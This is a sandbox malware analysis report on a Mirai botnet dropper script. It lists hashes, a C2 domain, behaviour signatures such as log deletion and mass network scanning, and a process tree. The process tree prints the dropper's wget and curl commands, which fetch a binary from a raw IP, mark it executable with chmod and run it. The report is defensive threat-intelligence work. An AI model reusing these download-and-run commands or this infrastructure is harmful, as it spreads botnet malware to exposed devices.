Analysis

  • max time kernel
    42s
  • max time network
    154s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260126-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260126-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    10/05/2026, 12:53

General

  • Target
    sh.sh
  • Size 1KB
  • Sample260510-p4vkmsg131
  • SHA256 b93c50bf08ffdd666baef615ab59783d3f0c8d68d6e80bdb6f028f9373bc1b96
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

C2
  • haven.mephedrone.nl

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Contacts a large (130649) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes Audit logs 1 TTPs 1 IoCs

    Deletes logs related to the Linux Audit framework.

  • Deletes journal logs 1 TTPs 1 IoCs

    Deletes systemd journal logs. Likely to evade detection.

  • Executes dropped EXE 1 IoCs
  • Changes its process name 2 IoCs
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/sh.sh
    /tmp/sh.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:1529
    • /usr/bin/wget
      wget http://216.9.225.23/debug.x86_64
      2⤵
      • Writes file to tmp directory
      PID:1530
    • /usr/bin/curl
      curl -O http://216.9.225.23/debug.x86_64
      2⤵
      • Writes file to tmp directory
      PID:1535
    • /bin/cat
      cat debug.x86_64
      2⤵
        PID:1536
      • /bin/chmod
        chmod +x config-err-I4dRMX debug.x86_64 netplan_4skcsetr sh.sh snap-private-tmp ssh-aYviPlferMvA systemd-private-c09cde96c21d4b458edfd4cfa3a669f1-bolt.service-augnVC systemd-private-c09cde96c21d4b458edfd4cfa3a669f1-colord.service-or7tlI systemd-private-c09cde96c21d4b458edfd4cfa3a669f1-ModemManager.service-MfLrXY systemd-private-c09cde96c21d4b458edfd4cfa3a669f1-systemd-resolved.service-qTsBVb systemd-private-c09cde96c21d4b458edfd4cfa3a669f1-systemd-timedated.service-UGVCy6 wget
        2⤵
        • File and Directory Permissions Modification
        PID:1537
      • /tmp/wget
        ./wget
        2⤵
        • Deletes Audit logs
        • Deletes journal logs
        • Changes its process name
        PID:1538

    Network

          MITRE ATT&CK Enterprise v16

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          debug.x86_64

          • Path /tmp/debug.x86_64
          • Size 143KB
          • SHA256 2903832e570e9ae1d8d762008426e018af150d90465733bcc5c4b0c683cca249
          • MD5 SHA1 SHA512 SSDEEP TLSH